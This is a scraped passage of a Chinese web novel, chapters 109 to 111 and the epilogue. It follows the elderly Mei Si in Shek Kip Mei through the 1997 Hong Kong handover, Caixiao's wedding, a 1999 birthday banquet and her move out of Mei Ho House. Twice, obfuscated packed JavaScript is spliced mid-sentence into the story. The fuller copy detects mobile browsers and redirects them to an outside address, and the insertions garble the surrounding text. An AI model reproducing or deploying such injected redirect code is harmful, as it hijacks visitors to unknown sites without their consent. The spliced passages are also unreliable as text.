所以经过好一番搅动脑浆,书名便给定成了现在这个,梅思一看温怡君递来的便签纸,就明白了,《红幕》是源自“铁幕”,虽然不像“铁幕”那样带有敌意,不过终究也有一种疏离,但这名目确实新奇,很能吸引人的眼球,带动了销售量。 尹宗翰笑道:“就这个名字蛮好,这才能够流行。人终究还是要多几样本领,就好像梅小姐这样,股市不景气,可以写文章,不是只能走一条路,总有出路。” 梅思笑着晃了晃头:“不过是因为没有存够养老的本钱,还要继续辛苦罢了,所以便很羡慕尹生。” 尹宗翰哈哈地笑。 他今年已经七十几岁,头发都花白了,身为一流经纪,前几年已经攒足了生活费用,不必再工作,不过仍然时或来看看,嗅一嗅联交所的气息,股票早已融入了他的血脉,成为一种生活方式。 周围的人扭头看向她们两个,梅思便住了口不愿再说,因为股票跌得厉害,大厅里显得空荡荡,方才这几句话,带了互相吹捧的意味,虽然声音不高,却依然宛如回荡在空谷,给人听到了格外刺耳。 这一天晚饭之后,梅思提了一袋垃圾下楼,刚刚走出楼门,“嘎”地一声,一辆车停在前面,几秒钟后,门开了,梅思眨了眨眼睛,副驾驶的位置上,走下来的是彩霄。 彩霄关上车门,含笑说着“拜拜”,对车里的人摆了摆手,驾驶位上的黑影也冲她挥挥手,那车便“嗖”地一下跑走了。 她转头看到梅思,便笑:“梅姨,丢垃圾?” 梅思点点头:“今天有点晚啊,吃过了么?” 彩霄道:“吃过了,和朋友一起。” 又说了两句,转身便进了楼。 梅思将袋子丢进垃圾桶,回身也要进楼,一个细长的人影从暗处闪身出来。 梅思微微吃了一惊,仔细一看:“啊,宣生。” 路灯下,是一个三十几岁的男人,面色苍白,仿佛营养不良,他望着车子离去的方向,抽动着面部肌肉,做出微笑的样子:“梅小姐,你喜欢沃尔沃么?” 梅思一晃头:“我喜欢吉普车。” 北京吉普,车头插一面小红旗,一到晚上,前面的红灯就闪,南宁街头时而会看见。 109.第一百零九章 欢宴 第一百零九章 欢宴 “滴滴!~~” 一阵车声把梅思从睡梦中唤醒,她睁开眼睛望望,阳光已经透过薄薄的窗帘照射进来,再一看床头的闹钟,将近七点钟了啊。 窗台上,方形的冷气机呜呜作响,梅思躺在那里,让自己再清醒一下,然后慢慢坐起来:“啊,迟了。” 大家都说,人年纪大了之后,不是很能睡觉,前几天见到苏凤香,她就说白天不敢躺下,下午一个迷糊过去,晚上睡不着,饶是这样,每晚也只能睡五六个钟头,余下的时间,就只能闭着眼睛在那里躺着,实在很有点难熬,自己则是不同,少有午睡,但每晚要睡足八个钟,有时候还会晚起,比如今天,就比平时迟了半个钟头。 清早的时光是宝贵的,关掉冷气,梅思进入梅林,先把鸭子放出去,又挤了羊奶,其它暂时都顾不得,便赶忙出来,到洗手间打开龙头,往脸上扑了两捧水,又漱了口,便去餐厅拧开无线电,音乐声中,进厨房料理早饭。 经过一个晚上,羊奶已经发酵好,尝了一口,真酸,香港夏季酷热,人是很难受的,发酵则刚好适宜,无论是面团还是羊奶,少有不成功的,每当天气热起来,梅思早餐常有酸奶,虽然麻烦了些,但这样经过发酵的食物,更容易给人吸收。 梅思一直苦于消瘦,想方设法要变胖一点,尤其是近些年,经济金融看得少了,社科都削减了,从图书馆抱回许多健康知识的书,中医和西洋现代营养学都有,不看小说的时候,就看这些书,先不说效果如何,单是读书就让人感觉安慰,仿佛身体便好了三分,梅思在营养建议之中精挑细选,适合自己的便是酸奶。 早就开始喝羊奶,清早一杯热羊奶,却一直不怎样胖,想来是吸收的缘故,毕竟不是西方人,农耕民族更习惯植物食品,豆浆是早餐常见的,动物乳品就不太能享用,发酵虽然麻烦一点,但更适应肠胃,所以这几年闲了些,夏季里,梅思每天发酵羊奶,她的酸羊奶,和人家的清咖啡一样,不加糖,特别酸,起初有点难以下咽,后来慢慢适应了,甚至感觉到爽口。 冰箱里的馒头切片,用油煎了一下,旁边另一口锅里,水煮蛋也很快熟了,彩霄的法子是,一次煮出几只来,放在冰箱里慢慢地吃,梅思从前也那样干过,不过最近五六年,金钱的压力减小,不必在赚钱上花许多时间,便每次煮一两只,觉得更新鲜健康。 维她命也必须要有的,半颗西红柿,切成小块,不加糖,就那样吃了。 盘盘碗碗摆上餐桌,看一下时间,七点十七分,不算太晚,梅思拍了一下手,人啊,还是要动脑筋,像这样丰盛的一餐,不到二十分钟就完成,营养搭配均衡,味道也不错呢。 早餐之后,梅林中还有一些事情,料理完毕之后,已经过了上午九点,梅思走出来,一阵巨大的嘈杂声飘进窗户,有人高声喊:“排好队排好队,要走了啊!” 梅思站在窗口向下一望:“唔,就要开始了啊。” 屋邨各栋楼纷纷涌出了人,挤在街面上,许多人手里拿着旗子,举在空中摇啊摇,梅思转身到衣柜前,开了柜门,选也不必选,伸手抓出一条淡青色雪纺连衣裙,换掉了身上的睡衣,踏上皮鞋,又拿起一只伞,挎上皮包,噔噔噔走了出去。 “庆祝回归啊!” “回到祖国了!” “以后我们是中国人了。” 彩霄正站在队伍里,带着宽沿草帽,两只手举在胸前,一只手五星红旗,另一只手紫荆花旗,一眼望到她,连忙高举起右手,挥舞国旗:“梅姨,来呀来呀!” 梅思笑着走过去,彩霄向她手里望了望,把那面国旗便往她手里一塞:“这个给你。” 一个中年男人前前后后地奔忙:“大家排排好啊,水有没有带?看好自己的小孩,小朋友不要让她乱跑,现在我们就要开始游行。啊这位阿姨,天气热,要走好久,你如果走不动,就到路边休息,不要硬撑啊!” 梅思点头:“知道了。” 几分钟后,队伍便移动了起来,灼热的空气中,口号声如同波浪起伏: “一国两制!” “爱国爱港!” “拥护中央政府,拥护特区政府!” “港人治港!” 梅思左手高高举着阳伞,喊了几句“祖国统一”,转头凑近彩霄,几乎是贴着她的耳朵问:“酒店定了没?” 彩霄咯咯地笑,大声回答:“定下来了,美丽华,梅姨你要吃什么菜?加在单子上。” 梅思笑道:“那里的菜不管哪一样,都是好的。” 彩霄又问:“电脑有决定要买了没?” 梅思说:“有点贵,况且还有接网路的费用。” 彩霄道:“可是方便啊,要投稿给哪里,一封邮件就发过去,不必再跑邮局了。” 梅思笑着说:“再说吧,我如今也很少写文章。” 虽然有伞遮光,在太阳下走了一个多钟头,梅思仍然感觉乏力,便辞别彩霄,脱离了队伍,走下公路,到路边茶餐厅,找了一个靠窗的位置,点了一壶红茶,喝了两口,转头望向外面。 游行的行列很长,前面大队走完,断断续续几个落在后面的人也过去了,路面上暂时宁静,七八分钟后,又是一群人,也是同样的挥舞旗子,喊着口号,有人中途跑过来买水。 梅思慢慢地品茶,喝完一杯,又倒一杯,看看手表,十一点三十七分,便点了一份卤味双拼,豆腐和金钱肚配米饭,这家的金钱肚有点费牙,需要格外细嚼慢咽,因此梅思吃完午饭,已经将近十二点半,那一壶茶还剩下半壶,继续喝,一直到两点钟,腰开始酸痛,梅思起身结账,撑起伞,到外面搭乘公共巴士,回到石硖尾。 进了屋子,把皮□□鞋都甩在一旁,梅思拿了睡衣,赶快进淋浴间冲凉,热得要命,感觉皮肤都发烫,有一点针扎般的刺痛,在外面再多停留一阵,只怕要晒伤。 洗凉之后,清爽了许多,梅思头裹毛巾,走到客厅,打开了无线电,一边擦头发,一边听收音机,“午夜交接仪式圆满完成,香港重回祖国怀抱”,“小河弯弯向南流 流到香江去看一看 东方之珠我的爱人你的风采是否浪漫依然”,香港回归的新闻滚动播出,歌曲先是《始终有你》,然后是《中国人》,现在是《东方之珠》,今天是一九九七年七月一日啊,香港的主权正式交还中国。 半个月之后,七月十三号礼拜天,梅思一大早便起了床,早餐之后,梳洗干净,到门前搭巴士,一路去往美丽华。 三楼宴会厅,高挂一条横幅,“盛汪联姻永结秦晋”,梅思要想一下,才记起彩霄父亲是姓汪的。 在门前递了红包,记账的人在账簿上写下名字,苏凤香已经在里面坐了,遥遥望见她,连连招手:“梅小姐,这里!这里!” 梅思从人群中挤过,走到桌前,桌面上摆放着姓名牌,自己的座位紧邻苏凤香。 梅思坐下来,上上下下看着苏凤香:“今天打扮得真好,嫩了二十岁。” 着实光鲜,从头到脚一身新,刚做了头发,烫波浪,染得乌黑,油亮油亮,一身西式礼服,上下两件,银灰色带蕾丝的套裙,脚上一双半高跟米色皮鞋,脸上薄薄扑了粉,淡淡涂了嘴唇,依稀显出年轻时的影子。 梅思又加了一句:“你整个人都发光,还拿了这么个包,真成了老太君了,今后只等享福。” 说着拍了她手背一下。 苏凤香举起那只酒红色的牛皮压花手包,哈哈笑起来:“你说这个么?真是没用的物件,装不了什么,还要占一只手拿着它,不如挎一个大包,能放许多东西进去,也不耽搁两只手干活。这种事简直活受罪,瞧把我给热得,穿了这么一身衣裳,裹得紧紧的,不透风,尽出汗。” 苏凤香满面放光。 正说着,一个头油铮亮的男人手拿麦克风,在台上高声叫道:“苏太太,苏太太有请!” 苏凤香抬手理了理鬓边,一脸是笑:“我过去一下,今天可有的我忙。” 司仪安排双方长辈讲话,祝福叮咛,又是新人致辞,台上声音响亮,台下嗡嗡哄哄,梅思抿着茶水看着上面,彩霄一身白色西洋纱裙,妆化得很浓,灯光下分外鲜明,原本七分相貌,妆点成九分,只是笑容有点僵,彩霄向来不太适应这样的热闹场景;相比而言,旁边的新郎就从容得多,笑吟吟的,眼珠左右转,一脸满足得意。 这一套现代新式婚礼程序走完之后,总算可以吃饭,侍应生一盘盘端菜,双头鲍,梅花参,东星斑超过一尺长,这一场宴席,梅思可算开了荤,全是好东西,大半辈子舍不得吃这样一回。 新娘新郎换了中式礼服,到各席敬酒,梅思端起半杯酒:“百年好合。” 彩霄:“梅姨沾一点点就好,不要多喝。” 宴席到了尾声,宾客即将散去,全家大合影,苏凤香往那边一望,盛家那边是叔父叔母,夫妻双双,自己这边明显少一个,不成对,气势上便弱一分。 她视线往下面一扫,小步跑下来便拉住梅思:“梅小姐,你便是招娣的姨妈,快来一起合影。” 梅思推着她:“我不去了。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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盛杏庄接过那一双铮亮的袖扣,暗吸一口气,彩霄的这位姨母,自己早已听她说起许多次,这些年也见过几次面的,单凭梅家姨妈,两边的门户就能拉到几乎平齐,虽然是土豪世家,但也有根底,是见过旧时繁华的啊,而自家不过小乡绅,是到自己这一代才发迹,代谢沉浮,是兴亡的感慨。 纵然如今落寞了,底子还在,一出手就是金袖扣,很久远的物件了,民国时候,男子最重袖扣,风流倜傥都在一双明光闪闪的袖扣,梅姨母把这一双男式袖扣,钉在旗袍的袖子上,出人意表,她这一身旗袍,也是有年头了,虽然面料是九成新。 转头轻轻瞥一眼自己的正牌岳母,精明厉害啊,彩霄娘家这两位长辈,很能压得住场子。 与苏凤香一起把彩霄与盛杏庄送去浅水湾宅内,梅思略坐一下,便回去了,实在太累,年纪大了,受不住这样长时间的喧闹。 回到石硖尾,已经是下午四点,大半天便过去了,烧晚饭还略早一点,梅思正想进梅林坐坐,凉快一下,忽然间有人敲门,开门一看:“啊,宣生。” “梅小姐,方便说说话么?” “请进请进。” 赶快进卧室打开冷气机,又倒茶给他。 宣静喝了一口水,抬眼往往窗边:“还是装了冷气机凉快。” 梅思笑道:“不如你也装一台,夏天还是吹冷气更好些。” 与柏翠所料不同,自己终究还是买了冷气机,梅林中毕竟潮湿,夏天几个月睡在那里,只怕得风湿,年轻时不在意,现在可谨慎起来。 宣静摇头:“风扇够了的,我受不住冷气机。” 不单是钱的问题,自己身体单薄,在茶餐厅或者巴士里吹久了冷气,就感觉不舒服,不过七八月酷热确实难受,风扇不很济事,就让人两头为难。 宣静低下头,再喝一口水,又喝一口水,抬起头终于问:“婚礼如何?” “很顺利。” 除了结尾的意外,不过好在混过去了,算是圆满收官。 “她们总算是结婚了,我一直在想,究竟要等到什么时候。” 梅思点点头:“哪怕是抗战,也该抗完了。” 整整八年,今朝有了结果。 宣静默默沉思片刻:“她与盛生在一起是对的,能给她安稳静好。” 梅思笑一笑:“人各有因缘,宣生你是缘分未到。” 宣静叹息:“我早已明白自己,是要孤独终老的,像我这样的人,像我这样的人……” 梅思道:“一个人也没有什么不好。” 宣静望望她,一时说不出话。 110.第一百一十章 天涯归客 第一百一十章 天涯归客 闹钟指针过了六点半,梅思在床上坐起身,拉开窗帘的一角,清透的日光进入室内,光线中带了微微的蓝色,倘若在夏季,清早林间的雾气,就是这个色调。 冬季的清晨是冷的,这冷意从晨光中就能感受到,虽然是太阳的光,但并没有多少热度。 梅思下了床,用暖水瓶中残余的热水洗漱了,先不忙煮早餐,打开斗柜最上层抽屉,从里面取出一本日历,是一九九九年的日历,今天便是元旦,新的一年开始了。 元旦相比春节,虽不是很盛大的节日,惯常也要互相问候,早饭后,梅思给白明珠和柏翠打了电话,到十点多,有客上门:“梅姨新年好!” “彩霄啊,元旦快乐。” 梅思上下端详彩霄,片刻后笑起来:“更丰润了啊。” 彩霄噗嗤一乐:“我妈让我减肥呢。” 梅思摇头:“你要减肥,我想胖一点,却总胖不起来。” 彩霄笑嘻嘻,手中的盒子举得高高的:“你女婿也挂记着这事,说吃点燕窝有好处,要我给你拿来呢。” 梅思笑道:“要你们破费了。” 彩霄随手把纸盒放在桌子上:“没有花钱,也是人家送他的。” 梅思抿嘴一笑:“无怪人家说,‘居移气,养移体’,不过一年多,你说话都变了。” 越来越有阔太太的风范,给石硖尾的老邻居听着,很感觉有一点陌生的,不过这倒也难怪她,盛杏庄虽不是李嘉诚那样的顶级富豪,在香港也有名号的,开工厂发了财,又投资电影,入股报社,是半个商人,半个文化人,尤其喜欢绘画,对中西画法都颇有赏鉴的能力,当初是彩霄开个人画展,他偶然进门看,看中了画也看中了人,从此开始交往。 彩霄咯咯地乐:“石硖尾的老邻居么,越来越少了啊,虽然是二楼,一路往上走,本来也没有多许多人,不过这楼里也太空了,走廊上许多房门都锁了,这一层只两户有人,你住着不嫌冷清么?不如换一间屋,不是说委员会已经问了两三回,要不要搬?新屋很好的,有升降机。” 梅思道:“住惯了,不想搬。” 彩霄撇撇嘴,没有再劝,转而说起近期计划:“《金粉血泪》要杀青,杏庄说,海报由我来画。” 梅思笑道:“省一笔画师的钱。” 两人聊了一阵,看看到中午,梅思说:“在这里吃饭。” 彩霄摇头:“要去我妈那里,梅姨,这个月十六号,我妈生日,请你务必过去呢。” 梅思笑着说:“那是一定要去打扰的。” 梅思送她出门,走出美荷楼,迎面走来宣静,看到她们,宣静显然也是一愣,目光在彩霄脸上转了两圈,眼望着她道:“梅小姐,汪太,元旦好。” 彩霞也说了一声:“宣生,新年好。” 宣静的眼神不再飘闪,凝在彩霄脸上,微微一笑:“汪太好久不见,大变样子了。” 彩霄笑道:“你倒还是老样子,仿佛比上一回更瘦了,保重身体啊。” 说过两句话,踩着皮鞋噔噔噔就走掉了。 梅思到外面兜了一圈,提了一袋油条回来,发现宣静还站在楼门前,保持着方才的姿势,如同雕像。 “啊,宣生,不进去么?天气冷,容易感冒。” 宣静勉强笑一笑:“梅小姐,可以去你家里谈谈么?” 元月十六号,梅思去到彩虹邨,进了房门,苏凤香乐呵呵从七八个人中间挤出来:“梅小姐,正在说你怎么还没来?” 梅思笑道:“有一点堵车,就来迟了,老寿星不要见怪。” 苏凤香满脸是笑地摆手:“赶得上吃饭就行,早点晚点怕什么?只是你若再晚来一点,这话头便错过去了,□□正和我们说,阚德龙死了。” “啊,什么病?” “可不是病,是活生生气死了。” 苏凤香两只眼睛如同灯泡,铮亮铮亮,梅思敢说,那是深感有趣的神情。 不过梅思其实也很感兴趣:“谁能让他生这样大的气?” 苏凤香伸出两根手指:“政府!” 下一秒便拉住她的手:“快来快来,正在热闹处,赶快听个新鲜的,这就好像烧菜,趁热吃才有味,冷了纵然回锅,味道终究差了,我就是怕你错过了这个兴头。” 梅思两脚紧挪动,与苏凤香进了人圈之中,□□手里端着茶杯,左顾右盼正在说着:“廉署……短桩……” 薛幸坐在她旁边,望见梅思,站起身叫了一声“梅姨”,不等她问,挑着眉毛,一连串倒了出来:“东涌那边的商场,地基的桩柱短一半,阚德龙便买了那里的商铺,这一下只怕要倒霉,况且还不止如此,那边的居屋或许也有事,‘居者有其屋’,阚德龙买了便宜房,这一下都赔进去,他是那样的霸王脾气,哪能受得了?本来心脏就不太好,听了这个消息,一气之下发病,不过几个小时就没了。” 梅思张口呼喊一声:“啊呀,他居然这么死了,这可让人怎么说呢?” 建筑商给薛幸报了仇。 众人津津乐道,当日最大新闻,到了中午十二点,外面有人拍门:“送酒席!” 婉霞过去开了门,两个男人抬了保温箱走进来,打开来,里面还有食盒,一盘一盘都摆在桌面,彩霄招呼众宾客:“快请入席。” 上座是苏凤香,她旁边便是梅思,彩霄紧挨着苏凤香,她的另一边是盛杏庄,宝庆则是靠着梅思坐着,下面是婉霞,宝庆和婉霞不断地给梅思夹菜盛汤: “梅姨,吃龙虾。” “花胶鸡汤。” 梅思含笑道:“我自己来,你们快吃吧,别弄到最后,自己没吃饱。” 薛幸举起酒杯:“大家干一杯吧,祝苏阿婆年年有今日,岁岁有今朝。” 亲朋纷纷举杯祝寿,梅思和苏凤香碰了杯,嘴唇轻抿着沁凉的玻璃杯,一点点红酒进入口中,两眼向前一望,对面的薛幸一仰头,大半杯红酒一饮而尽,三十年时光,终于报仇雪恨,虽然不是亲自动的手。 寿宴之后,宾客们散开来喝茶喝咖啡,来娣和婉霞端了几盘水果,送到各处,梅思与苏凤香谈笑一阵,便走到阳台上,冷风迎面吹来,她深深吸了一口气。 彩霄向这边一瞥,与盛杏庄轻轻说了几句,便从沙发上站起身,在客人中间钻过来,与梅思并肩站立,笑着说:“也就是这里能让人透一口气。” 梅思望她一眼,也笑:“太热闹了,感觉里面氧气都不够,不同以往。” 彩霄道:“从前也是一样的,老邻居都会来。” 梅思晃晃头:“这两年尤其是。” 彩霄笑笑,一时没有接口,片刻之后说:“宣生还好么?” 梅思转头看向她:“元旦那一天,你离开后,他和我说了好久的话。” “他是怨我的。” “他没有怨你,只是伤感自己。” 彩霄叹一口气:“还是怨我。” 停了一刻,彩霄问:“梅姨,我选择了杏庄,你会不会觉得我虚荣?” 梅思笑一笑:“你喜欢谁便是谁了。” 彩霄原本微蹙的眉头轻轻放开,笑道:“你还是偏爱我多一些。” 梅思道:“本来就是这样,感情是不能勉强的。” 彩霄静默十几秒,说:“我与杏庄在一起,当然是喜欢他,不过,除了杏庄的才华,他确实能照顾我,与他在一起,我很安心,与宣生相处,总是需要我体谅关心他。” 梅思点点头:“落难才子是这样的。” 多情也多病。 “宣生的身体,是让人担忧,这些年一直都是瘦,我虽然也瘦,好在还有气力,他太虚弱,洗衣烧菜都累,屋子里乱糟糟,天冷一点,就咳嗽鼻塞,好歹支持着还能教书,不然吃饭都成问题,他这样的情形,难免容易悲观,牢骚便多些,要照料这样一个人,是很需费些力气的。” 彩霄笑道:“宣生虽然比我还年轻几岁,精力却不如梅姨和姆妈。” 梅思也笑:“比我还罢了,比起你姆妈,可差得远了,你姆妈这两年,精气神越来越旺盛,招呼了大半天客人,看她都不觉得累的。” 彩霄抿嘴一乐:“从前因为我不嫁,她面上无光,如今有了丈夫,姆妈吐气扬眉。” 梅思笑望着她:“这一门婚事,是很好的。” 彩霄面上笑意越来越大:“很尊重我,虽然我们两个的经济状况是有差别的,不过从没有傲慢的态度,我是坚持财务独立,自己用自己的钱,不过每当生日节日,他总是送我很贵重的礼物,我很抱歉难以同等回报,他同我说,既然相爱,金钱就是次要的,这只是一种表达感情的方式,能够为对方奉献,是一种幸福。梅姨,我不是一个拜金的人,但物质确实让我有温暖的感觉,我的人生,不想像林鹃阿姨那样。” 梅思有一种想要叹气的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14956985|152646||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 冲动:“当年陈学昭女士,就是这样栽了跟头。” “陈学昭,是怎么样的?” 梅思正要解说,忽然有人拍了一下她的肩膀:“啊呀梅小姐,在这里吹了这么久的风,不嫌冷么?快同阿拉进去啦,女婿方才说,过年的时候,找一家旅行社,让我们两个出去新马泰兜一圈,这几年火得很呢,我老早想去转转。” 梅思抬脚往里面走:“你去吧,我懒得动。” 苏凤香连连摇头:“你不去,我一个人去做什么?那一群人里,旁人又不认得,怪没意思的。我晓得你的脾气,不愿意欠人情,可是你栽培招娣这么多年,难道白干?总得有些好处。如今招娣有了好女婿,她这是‘一人得道,鸡犬——’啊呀反正多少都沾点光,不然怎么是一家人?你别总是那么清高了,过年时候,天气最是不好,每年春节,这鬼地方都阴沉沉的,让人心里发闷,新马泰大晴天,我们就去晒晒太阳,蛮好。” 梅思笑道:“到那时再说吧。” 下午三点多,宾客纷纷告辞离去,梅思回到家中,已经将近五点,她换了衣服,喝了半杯水,躺在床上略歇息一下,便到了六点钟,是往常该吃晚饭的时间。 梅思摸了摸胃部,午宴豪华,都是高营养的食物,下午又有点心水果,到现在也不很饿,略一思忖,晚餐只煮粥便好,青菜白粥,其它材料全不必,此时的自己,着实吃不下许多东西。 冰箱里昨天的冷饭,加水煮开便是粥,又烫了青菜,晚饭便齐备了。 吹了吹粥,梅思不由得想到午间的席面,海胆粥,一小碗粥里,两枚海胆,着实是极新鲜的,海胆是好东西,当时盛杏庄劝餐饭:“益心强骨的,治心痛病。” 自己有点不好意思:“我心脏这几年还好。” 盛杏庄便笑:“虽然姨妈身体康健,用心保养总是好的。” 把白粥送进口中,盛杏庄的面孔又出现在眼前,虽然已经六十四五岁,不过面色红润,又染了头发——盛杏庄常年染发,彩霄本来是不染头发的,这两年也染发,不让人看出她那几根白头发——因此单看外表,不过五十岁,很是年轻的。 梅思眨一眨眼,宣静的影子浮现面前,四十七八岁,看起来却仿佛将近花甲,大约人在困窘之中,时光便迅速,他实在老得快。 宣静既老且瘦,梅思晓得自己也是瘦的,然而两个人最大的区别,在于精神状态,或许因为宣静没有经历过革命大潮,便缺乏坚韧顽强的品格,腰弓着倒也罢了,两条眉毛往下耷拉,总是一副愁苦的神态,看到他的样子,总觉得仿佛不安慰他一下,给他一点温暖,便过意不去。 一次两次倒是还好,长此以往实在太累人了。 彩霄没有选择宣静,放弃了书写这一段凄美哀婉的爱情故事,而是与多金也多才的盛杏庄在一起,仿佛是落了俗套,五十几年的空谷幽兰,终于开成一朵富贵牡丹,不过梅思以为,这或许是明智的,虽然说不上究竟好还是不好。 青衫愁苦,红粉怜才,这样的浪漫传奇,在石硖尾,前车之鉴是鄂林鹃,彩霄从小看到这血淋淋的例子,今天临别时,又约好回头把《天涯归客》借给她。 是差不多二十年前的书,那一次回桂林,意外买到的,打开来一看,作者是陈学昭女士,回到香港之后才翻开来读,读着读着,赶忙翻找当年的日记,找到一九四一年的那本,对比着日期,啊,就是在那时,景斌告诉自己,陈女士住进了医院,原因是服用了过量安眠药,自己当时还很困惑,怎么竟然这样不小心?四十余年之后,读了这本书,才晓得是她的丈夫何穆出轨,骗她吃了过量的药,这简直就是谋杀! 而当时,陈学昭还正在怀孕。 读了这一段,梅思不由得浑身发冷,眼前不知怎么,掠过归玉树的脸。 她也知道自己是狂想了,归玉树无论如何,不至于有胆量杀人,而自己也不像陈学昭女士那样宽容,早就已经当机立断,况且从没想过结为伴侣,但就是心底发凉。 这段心曲本来早已过去,今天因为闲谈,又波动起来。 梅思这一个念头起来,便琢磨了好久,洗碗的时候在想,冲凉的时候在想,就连坐在床头看睡前书,思绪也总是忍不住要转到那上面,看看闹钟,时间将近九点三十分,梅思摇了摇头,要想些别的了,新马泰的游玩之类,否则今晚只怕入睡迟,要保养健康,最卫生的办法之一,就是早睡不熬夜,明天毕竟还有明天的事情要做。 111.尾篇 美荷楼最后一人 尾篇 美荷楼最后一人 “梅姨,都搬完了么?” “看一看,还有什么东西要拿?” 梅思靠着门框,慢慢转过身来,望向房间内,已经空空荡荡,只有衣柜饭桌几件旧家具。 她叹一口气:“没有了。” 彩霄乐呵呵赶过来,眼神往里面一扫:“这些老物件,要我说早该扔了,几十年了,旧得不成样子,那床一坐上去,就咯吱咯吱响,真怕哪天塌下来,新家买了个铁床,我看蛮好,铁桶江山呢。” 梅思忍不住微微一笑:“你可真能胡说,一张床而已,还铁桶江山。” 彩霄咯咯地乐:“不是我乱说,床可是个要紧的家什,一天有半天都在上面,不得有一张好床?铁架子床,躺在上面安安稳稳,再不担忧的。” 彩霄扶着梅思走出来,一个男子从楼门前经过,望见这边,忙招呼:“梅阿嬷,今天搬家么?” 梅思点点头:“要走了。” 那男子哈哈地笑:“要说阿嬷你真是厉害,这楼里别人早已经搬走了,唯独你还住着,房委会听说找了你几次,都不肯搬,如今总算搬了,实在该换个地方,你看看这楼房,啧啧啧,油漆都脱落了,再不搬,只怕要倒了,委员会的人只等你迁出,便要把这里封起来呢,哦哟已经来了,还扛着铁丝网呢,等这一天等得哦,眼睛都眍?了。” 彩霄前仰后合地笑:“这便是‘咬定青山不放松’,梅姨对这美荷楼,可情深义重呢。” 梅思幽幽地低声说:“当年在延安,我没能坚持下来,如今在这里,总算守到了最后。” 彩霄听得半清不楚:“我是不明白,这样老楼,有什么好坚守的,新家多好,刚刚建起七年,六层楼,有升降机,二楼虽然便利,终究潮湿,六楼就清爽得多了,其实梅姨不必一定住那边,不如就去浅水湾,我陪着你,有人说说话,照应也方便些。” 梅思坐进车里,系好安全带,摇摇头说:“我身体还好,自己住更自在些,将来实在动不了,便住安老院,你空闲来看看我,就很好了。” 彩霄笑道:“那宅子那样大,住十个八个人都不成问题,照样自由自在,如今只我一个人在那里,有什么不方便?” 盛杏庄去年过世,遗嘱留给彩霄部分财产,那套房子虽然没有赠送给她,但彩霄有居住权,在她的生命期间,愿意在里面住多久,就住多久。 梅思笑一笑:“让你妈妈来。” 这一次轮到彩霄摇头:“她不愿意离开家,住几天可以,久一点就想家。我是不明白,这样好的屋子,怎么就住不惯?” 梅思笑道:“你住了十几年,当然很适应,只是再怎样漂亮的地方,起初总是陌生,况且人老了更是念旧。” 就好像梅林里那两个饭盒,早已经烧穿了底,却还摆在那里,“老来多健忘,唯不忘相思”。 车子开到新居,彩霄扶着梅思进入升降机,一起进了家门,两个人一起照应着,安排工友把物品放在各处,工人们很快离开,彩霄又帮梅思把皮箱包裹打开来,衣服被褥、书籍茶具一件件安顿好,看一看手表,已经是下午三点多。 “明天我来,再清扫一下,地上窗户上还有些灰尘,只可惜阿雅不在了,若还有她该多好,今天就能料理完。” 梅思摆摆手:“这么一点点事情,自己做就好了,不能事事依赖别人。你明天也不用来,这些天都为了我忙,在家里好好歇歇吧,只这么一块地方,一抹就干净。” 盛杏庄过世之后,彩霄虽然还住着大房子,但菲佣不能再雇佣,只好自己打扫房屋,料理餐食,那一大幢房屋,八个房间,扫地拖地,也很够她忙,彩霄其实颇多存款,只是想到将来,衰暮之年,总有一种隐约的危机感,便尽力减少开支,反正她精力不错,尽干得过来,读书画画之余,只当打发时间。 虽然梅思是这样说,第二天,彩霄还是八点多便过来,清扫地面,擦拭灰尘,一忙便是将近十二点,梅思从厨房端出碗碟:“不要忙了,快吃饭。” 彩霄答应一声:“来了。” 便放下抹布,洗了手,坐到餐桌旁,眼睛一扫桌面,煮青菜、烧茄子、鸡蛋羹、煨豆腐,四个小菜,还有一个番茄汤。 彩霄笑道:“梅姨手脚还是这样麻利,配色也漂亮。” 黄紫白绿,清新鲜明。 梅思手中的筷子一摆:“我如今老了,牙齿不好,烧菜软烂,你年轻人,怕吃不惯。” 彩霄噗嗤笑出来:“听梅姨这么一说,我觉得自己好像还是三四十岁。” 梅思也笑:“你比我是年轻得多了,我已经八十二岁。” 彩霄道:“看着不过七十呢,不过梅姨,你一个人住,毕竟有些不方便,我不容易时时过来,倘若这附近的义工能照应,三天两日来看一看,顶好还能帮烧饭洗衣,就让人放心得多,只是逢年过节来瞧瞧,虽说也是一番心意,有什么大助益呢?一年又不是只过这三五天的日子。” 梅思笑着说:“这就已经很是感谢,过年时候,还带了鸡蛋仔来,陪我说了好一阵的话,那鸡蛋仔甜甜软软,蛮好吃。我如今还很能自己料理餐食,洗衣也不麻烦,搬来这里毕竟是好,宽敞些,能安放洗衣机。需要帮助的人那样多,有空闲的却那样少,哪能一一顾念到呢?” 彩霄撇了撇嘴望了望厨房那边,洗衣机便摆在里面。 “日本有洗碗机,微电脑的呢,全不用人动手,放在里面,机器自己就能洗干净,梅姨你这厨房里,重新安排一下,还能腾出位置,摆洗碗机,我回去就托范太帮看看,买个小巧一点的,她要去日本旅游。” 梅思笑声更大:“我日常一个人吃饭,要用几只碗啊?时常就是饭和菜装在一个碗里,或者直接端着锅就吃了,你上一回买给我的小奶锅,煮面煮粥都好。用洗碗机,再怎么微电脑,也不能把所有事都做了,只怕还得打理它,更麻烦了。我如今屋子里添的东西不少了,可不想再加什么,太拥挤,看着心累。” 彩霄便不再说这个,闲谈起电影:“两年前拍了《玉观音》,说是在拍新片,这一阵还不见有动静呢。” 梅思笑道:“许鞍华,她倒是很喜欢找大陆的演员。” 《玉观音》就启用了赵薇,新片子不知又是谁。 彩霄连连点头:“毕竟是女导演,很喜欢拍女人的戏。” “唔唔,是的。” 